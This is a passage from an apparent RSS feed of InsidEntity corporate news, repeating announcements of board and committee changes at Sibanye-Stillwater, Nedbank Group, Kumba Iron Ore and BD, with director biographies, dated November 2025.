also produces and refines iridium and ruthenium, nickel, chrome, copper and cobalt. The Group has also diversified into battery metals mining and processing, and has increased its presence in the circular economy by growing its recycling and tailings reprocessing exposure globally. For more information, see www.sibanyestillwater.com. For the full document, click the link below Sibanye-Stillwater Limited Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.

The post Sibanye Stillwater: Changes to Board Committees appeared first on InsidEntity.

]]>
Imagery Source: Wikipedia Information Source: The Vault Exchange In accordance with Section 3.59(c) of the Listings Requirements of the JSE Limited, Sibanye-Stillwater (JSE: SSW and NYSE: SBSW) shareholders are advised that Dr Lindiwe Mthimunye, recently appointed independent non-executive director of the Company, has been appointed as an additional member of the Audit Committee, Remuneration Committee, Risk Committee and Social, Ethics and Sustainability Committee. Dr Richard Stewart, the Chief Executive Officer, has been appointed as an additional member of the Risk Committee and the Safety and Health Committee. These committee changes are effective immediately. About Sibanye-Stillwater Sibanye-Stillwater is a multinational mining and metals processing group with a diverse portfolio of operations, projects and investments across five continents. The Group is also one of the foremost global recyclers of a suite of metals and has interests in leading mine tailings retreatment operations. Sibanye-Stillwater is one of the world’s largest primary producers of platinum, palladium, and rhodium and is a top-tier gold producer. It also produces and refines iridium and ruthenium, nickel, chrome, copper and cobalt. The Group has also diversified into battery metals mining and processing, and has increased its presence in the circular economy by growing its recycling and tailings reprocessing exposure globally. For more information, see www.sibanyestillwater.com. For the full document, click the link below Sibanye-Stillwater Limited Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.

The post Sibanye Stillwater: Changes to Board Committees appeared first on InsidEntity.

]]>
Nedbank Group and Nedbank Limited: Change to the Boards of Directors and Board Committees https://ie3.euptest.org/nedbank-group-and-nedbank-limited-change-to-the-boards-of-directors-and-board-committees/ Tue, 18 Nov 2025 11:19:15 +0000 https://www.insidentity.com/?p=146371 Imagery Source: Wikimedia Commons / Damien du Toit Information Source: JSE SENS In compliance with paragraph 3.59 of the JSE Limited (JSE) Listings Requirements, paragraph 6.42 of the JSE Debt and Specialist Securities Listings Requirements and as part of the Group’s ongoing board continuity planning, the board of directors of Nedbank Group and Nedbank Limited (the boards) are pleased to announce that Mr George Njenga has been appointed as an independent non-executive director and member of the Nedbank Group Sustainability and Climate Resilience Committee with effect from 1 December 2025. The appointment has been made in terms of the Group’s policy on the nomination and appointment of directors. Mr Njenga (BSc. Chemistry) has over 30 years’ leadership experience in the energy sector and has led multi-million-dollar businesses and projects across Africa, the Middle East and Asia, covering renewable energy and power generation. He is the Executive Chairman of Lake Turkana Wind Power, Sub-Saharan Africa’s largest wind energy project. Mr Njenga is the former CEO for the East Africa platform of A.P. Moller Capita, and before this, he was the CEO of GE Renewable Energy (Grid and Hydro) for Sub-Saharan Africa. Daniel Mminele, Chairperson of Nedbank Group, extends a warm welcome to George and said that George’s deep expertise in leading complex energy projects and his proven track record in advancing sustainable power solutions across multiple continents will provide invaluable insight to the boards. Shareholders and noteholders are further advised that Mr Fleetwood Grobler, who was appointed to the boards and the Nedbank Group Sustainability and Climate Resilience Committee on 1 November 2025, has also been appointed a member of the Nedbank Group Remuneration Committee with immediate effect. For the full document, click the link below Nedbank Group Limited Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.

The post Nedbank Group and Nedbank Limited: Change to the Boards of Directors and Board Committees appeared first on InsidEntity.

]]>
Imagery Source: Wikimedia Commons / Damien du Toit Information Source: JSE SENS In compliance with paragraph 3.59 of the JSE Limited (JSE) Listings Requirements, paragraph 6.42 of the JSE Debt and Specialist Securities Listings Requirements and as part of the Group’s ongoing board continuity planning, the board of directors of Nedbank Group and Nedbank Limited (the boards) are pleased to announce that Mr George Njenga has been appointed as an independent non-executive director and member of the Nedbank Group Sustainability and Climate Resilience Committee with effect from 1 December 2025. The appointment has been made in terms of the Group’s policy on the nomination and appointment of directors. Mr Njenga (BSc. Chemistry) has over 30 years’ leadership experience in the energy sector and has led multi-million-dollar businesses and projects across Africa, the Middle East and Asia, covering renewable energy and power generation. He is the Executive Chairman of Lake Turkana Wind Power, Sub-Saharan Africa’s largest wind energy project. Mr Njenga is the former CEO for the East Africa platform of A.P. Moller Capita, and before this, he was the CEO of GE Renewable Energy (Grid and Hydro) for Sub-Saharan Africa. Daniel Mminele, Chairperson of Nedbank Group, extends a warm welcome to George and said that George’s deep expertise in leading complex energy projects and his proven track record in advancing sustainable power solutions across multiple continents will provide invaluable insight to the boards. Shareholders and noteholders are further advised that Mr Fleetwood Grobler, who was appointed to the boards and the Nedbank Group Sustainability and Climate Resilience Committee on 1 November 2025, has also been appointed a member of the Nedbank Group Remuneration Committee with immediate effect. For the full document, click the link below Nedbank Group Limited Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.

The post Nedbank Group and Nedbank Limited: Change to the Boards of Directors and Board Committees appeared first on InsidEntity.

]]>
Kumba Iron Ore: Change to the Composition of a Board Committee https://ie3.euptest.org/kumba-iron-ore-change-to-the-composition-of-a-board-committee/ Tue, 18 Nov 2025 11:03:55 +0000 https://www.insidentity.com/?p=146360 Imagery Source: Mining Weekly Information Source: JSE SENS Kumba Iron Ore Limited In compliance with paragraph 3.59(c) of the JSE Limited Listings Requirements, shareholders are advised that Mr Ruben Fernandes has stepped down as a member of the Social, Ethics and Transformation Committee (“SetCo”) effective 14 November 2025. He remains a member of the Safety, Health and Sustainable Development Committee, the Strategy and Investment Committee and a Board member. For the full document, click the link below Kumba Iron Ore Limited Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.

The post Kumba Iron Ore: Change to the Composition of a Board Committee appeared first on InsidEntity.

]]>
Imagery Source: Mining Weekly Information Source: JSE SENS Kumba Iron Ore Limited In compliance with paragraph 3.59(c) of the JSE Limited Listings Requirements, shareholders are advised that Mr Ruben Fernandes has stepped down as a member of the Social, Ethics and Transformation Committee (“SetCo”) effective 14 November 2025. He remains a member of the Safety, Health and Sustainable Development Committee, the Strategy and Investment Committee and a Board member. For the full document, click the link below Kumba Iron Ore Limited Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.

The post Kumba Iron Ore: Change to the Composition of a Board Committee appeared first on InsidEntity.

]]>
BD: Appoints Robert Huffines and Jacqueline Wright to Board of Directors https://ie3.euptest.org/bd-appoints-robert-huffines-and-jacqueline-wright-to-board-of-directors/ Tue, 18 Nov 2025 10:47:46 +0000 https://www.insidentity.com/?p=146344 Imagery Source: Becton, Dickinson and Company Information Source: BD (Becton, Dickinson and Company) BD (Becton, Dickinson and Company) (NYSE: BDX), a leading global medical technology company, today announced the appointment of Robert “Robbie” Huffines and Jacqueline “Jacky” Wright to its board of directors, effective Dec. 1, 2025. “Robbie and Jacky will further strengthen the BD board with deep expertise in health care, technology, digital transformation and artificial intelligence, as well as finance and capital markets, all of which are core to the continued advancement of our strategy,” said Tom Polen, chairman, CEO and president of BD. “Their global leadership and extensive experience will be invaluable as we advance New BD as a scaled pure-play innovative medical technology company, unlocking meaningful value for BD shareholders while advancing our impact on patients and health systems.” “With its scale, innovation and unwavering commitment to improving health care delivery, BD is shaping the future of medical technology,” said Robert Huffines. “As the company enters this next chapter, I’m eager to support BD in delivering lasting value for our patients, employees and shareholders.” “For over a century, BD has played a critical role in patient care,” said Jacqueline Wright. “As BD continues its legacy, I look forward to working with the rest of the board and management team, supported by continued digital transformation, to shape the evolving health care landscape and significantly improve patient care globally.” The Company has added three new independent directors in 2025, continuing its commitment to strong corporate governance and regular board refreshment. Robert Huffines Robert Huffines brings more than three decades of experience advising health care companies on strategy, mergers and acquisitions, divestitures and financing. Huffines is a former global chairman of investment banking at J.P. Morgan Chase & Co. He joined J.P. Morgan in 1991 and held several leadership roles, including co-head of the global health care investment banking group, vice chairman and co-chair of the global strategic advisory council. Before joining J.P. Morgan, Huffines worked at Alex Brown & Sons, specialising in equity financing and advisory assignments for emerging growth companies. Mr Huffines currently serves on the Board of Directors of Insulet Corporation. He also served as a director of Walgreens Boots Alliance until its sale in August 2025. In 2023, Huffines co-founded The Forest Group, Inc., a non-profit organisation focused on improving the mental health of children in underserved communities. He is also a board member of the Hastings Centre for Biomedical Ethics, Nextech Invest Ltd. and Eikon Therapeutics. Huffines received a bachelor’s degree in English and economics from the University of North Carolina and a master’s degree from the University of Virginia Darden School of Business. Jacqueline Wright Jacqueline Wright brings more than 30 years of experience in technology and digital transformation. She most recently served as the first chief technology and platform officer at McKinsey & Company, a global management consulting firm, where, as a senior partner, she led the firm’s overall technology portfolio and strategy. Before joining McKinsey, Wright spent over a decade at Microsoft Corporation in various roles, including chief digital officer, U.S. Business. From 2017 to 2019, Wright took leave from Microsoft to serve as chief information & digital officer at HM Revenue and Customs, the United Kingdom’s tax authority, where she led digital transformation efforts, preparing the department for the UK’s departure from the European Union. Before joining Microsoft, Wright held technology leadership roles across a variety of industries and businesses, including BP and GE. Wright currently serves on the Board of Directors of Frasers Group Plc and Russell Reynolds Associates, Inc. and previously served as a board member for Exelixis, Inc. and nVent Electric plc. Wright received a bachelor’s degree in Computer Information Systems and Accounting from Bernard M. Baruch College, City University of New York and holds honorary doctorate degrees from Aston University and the University of Bath. About BD BD is one of the largest global medical technology companies in the world and is advancing the world of health by improving medical discovery, diagnostics and the delivery of care. The company supports the heroes on the frontlines of health care by developing innovative technology, services and solutions that help advance both clinical therapy for patients and clinical process for health care providers. BD and its 70,000 employees have a passion and commitment to help enhance the safety and efficiency of clinicians’ care delivery process, enable laboratory scientists to accurately detect disease and advance researchers’ capabilities to develop the next generation of diagnostics and therapeutics. BD has a presence in virtually every country and partners with organisations around the world to address some of the most challenging global health issues. By working in close collaboration with customers, BD can help enhance outcomes, lower costs, increase efficiencies, improve safety and expand access to health care. For more information on BD, please visit bd.com or connect with us on LinkedIn at www.linkedin.com/company/bd1/ and Twitter @BDandCo. For the full document, click the link below BD (Becton, Dickinson and Company) Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.

The post BD: Appoints Robert Huffines and Jacqueline Wright to Board of Directors appeared first on InsidEntity.

]]>
Imagery Source: Becton, Dickinson and Company Information Source: BD (Becton, Dickinson and Company) BD (Becton, Dickinson and Company) (NYSE: BDX), a leading global medical technology company, today announced the appointment of Robert “Robbie” Huffines and Jacqueline “Jacky” Wright to its board of directors, effective Dec. 1, 2025. “Robbie and Jacky will further strengthen the BD board with deep expertise in health care, technology, digital transformation and artificial intelligence, as well as finance and capital markets, all of which are core to the continued advancement of our strategy,” said Tom Polen, chairman, CEO and president of BD. “Their global leadership and extensive experience will be invaluable as we advance New BD as a scaled pure-play innovative medical technology company, unlocking meaningful value for BD shareholders while advancing our impact on patients and health systems.” “With its scale, innovation and unwavering commitment to improving health care delivery, BD is shaping the future of medical technology,” said Robert Huffines. “As the company enters this next chapter, I’m eager to support BD in delivering lasting value for our patients, employees and shareholders.” “For over a century, BD has played a critical role in patient care,” said Jacqueline Wright. “As BD continues its legacy, I look forward to working with the rest of the board and management team, supported by continued digital transformation, to shape the evolving health care landscape and significantly improve patient care globally.” The Company has added three new independent directors in 2025, continuing its commitment to strong corporate governance and regular board refreshment. Robert Huffines Robert Huffines brings more than three decades of experience advising health care companies on strategy, mergers and acquisitions, divestitures and financing. Huffines is a former global chairman of investment banking at J.P. Morgan Chase & Co. He joined J.P. Morgan in 1991 and held several leadership roles, including co-head of the global health care investment banking group, vice chairman and co-chair of the global strategic advisory council. Before joining J.P. Morgan, Huffines worked at Alex Brown & Sons, specialising in equity financing and advisory assignments for emerging growth companies. Mr Huffines currently serves on the Board of Directors of Insulet Corporation. He also served as a director of Walgreens Boots Alliance until its sale in August 2025. In 2023, Huffines co-founded The Forest Group, Inc., a non-profit organisation focused on improving the mental health of children in underserved communities. He is also a board member of the Hastings Centre for Biomedical Ethics, Nextech Invest Ltd. and Eikon Therapeutics. Huffines received a bachelor’s degree in English and economics from the University of North Carolina and a master’s degree from the University of Virginia Darden School of Business. Jacqueline Wright Jacqueline Wright brings more than 30 years of experience in technology and digital transformation. She most recently served as the first chief technology and platform officer at McKinsey & Company, a global management consulting firm, where, as a senior partner, she led the firm’s overall technology portfolio and strategy. Before joining McKinsey, Wright spent over a decade at Microsoft Corporation in various roles, including chief digital officer, U.S. Business. From 2017 to 2019, Wright took leave from Microsoft to serve as chief information & digital officer at HM Revenue and Customs, the United Kingdom’s tax authority, where she led digital transformation efforts, preparing the department for the UK’s departure from the European Union. Before joining Microsoft, Wright held technology leadership roles across a variety of industries and businesses, including BP and GE. Wright currently serves on the Board of Directors of Frasers Group Plc and Russell Reynolds Associates, Inc. and previously served as a board member for Exelixis, Inc. and nVent Electric plc. Wright received a bachelor’s degree in Computer Information Systems and Accounting from Bernard M. Baruch College, City University of New York and holds honorary doctorate degrees from Aston University and the University of Bath. About BD
BD is one of the largest global medical technology companies in the world and is advancing the world of health by improving medical discovery, diagnostics and the delivery of care. The company supports the heroes on the frontlines of health care by developing innovative technology, services and solutions that help advance both clinical therapy for patients and clinical process for health care providers. BD and its 70,000 employees have a passion and commitment to help enhance the safety and efficiency of clinicians’ care delivery process, enable laboratory scientists to accurately detect disease and advance researchers’ capabilities to develop the next generation of diagnostics and therapeutics. BD has a presence in virtually every country and partners with organisations around the world to address some of the most challenging global health issues. By working in close collaboration with customers, BD can help enhance outcomes, lower costs, increase efficiencies, improve safety and expand access to health care. For more information on BD, please visit bd.com or connect with us on LinkedIn at www.linkedin.com/company/bd1/ and Twitter @BDandCo. For the full document, click the link below BD (Becton, Dickinson and Company) Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.

The post BD: Appoints Robert Huffines and Jacqueline Wright to Board of Directors appeared first on InsidEntity.

]]>